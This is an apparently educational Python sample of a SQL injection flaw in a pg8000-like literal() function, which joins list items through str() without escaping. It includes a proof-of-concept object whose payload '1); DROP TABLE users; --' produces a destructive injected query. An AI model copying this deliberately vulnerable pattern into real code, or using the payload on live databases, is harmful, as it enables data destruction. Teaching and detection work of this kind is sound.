Vulnerable code sample

import decimal

# This code is a fictional representation of a vulnerability for educational purposes.
# It is based on the user's description of the hypothetical CVE-2025-61385.
# The actual pg8000 library structure may differ.

class native:
    """
    A fictional class to encapsulate the vulnerable function as described.
    """
    def literal(self, v):
        """
        This function is intended to convert a Python object to its SQL literal
        representation. The vulnerability lies in how it processes list items.
        """
        if v is None:
            return "NULL"
        elif isinstance(v, bool):
            return "true" if v else "false"
        elif isinstance(v, (int, float, decimal.Decimal)):
            return str(v)
        elif isinstance(v, str):
            return "'" + v.replace("'", "''") + "'"

        # VULNERABLE CODE BLOCK
        # It handles lists by calling str() on each element and joining them.
        # If an element is an object with a custom __str__ method, that
        # method can return arbitrary SQL, which is then injected.
        elif isinstance(v, list):
            return "(" + ", ".join(str(item) for item in v) + ")"
        
        # Fallback for other types, also potentially unsafe.
        return str(v)

# --- Demonstration of the exploit ---

class MaliciousSqlObject:
    """
    A specially crafted object designed to exploit the vulnerability.
    The __str__ method returns a malicious SQL payload.
    """
    def __str__(self):
        # The payload closes the intended IN clause, executes a malicious
        # command, and comments out the rest of the original query.
        return "1); DROP TABLE users; --"

if __name__ == '__main__':
    # An instance of the pg8000.native class containing the vulnerable function.
    db_literalizer = native()

    # The attacker provides a list containing a legitimate value and the
    # malicious object.
    user_input = [99, MaliciousSqlObject()]

    # The application code builds a query using the vulnerable literalizer.
    # It expects the list to be safely converted to something like '(99, 1)'.
    query_fragment = db_literalizer.literal(user_input)

    # The fragment is then embedded into a larger SQL query.
    final_query = f"SELECT * FROM products WHERE id IN {query_fragment}"

    # The resulting query demonstrates the successful SQL injection.
    print(final_query)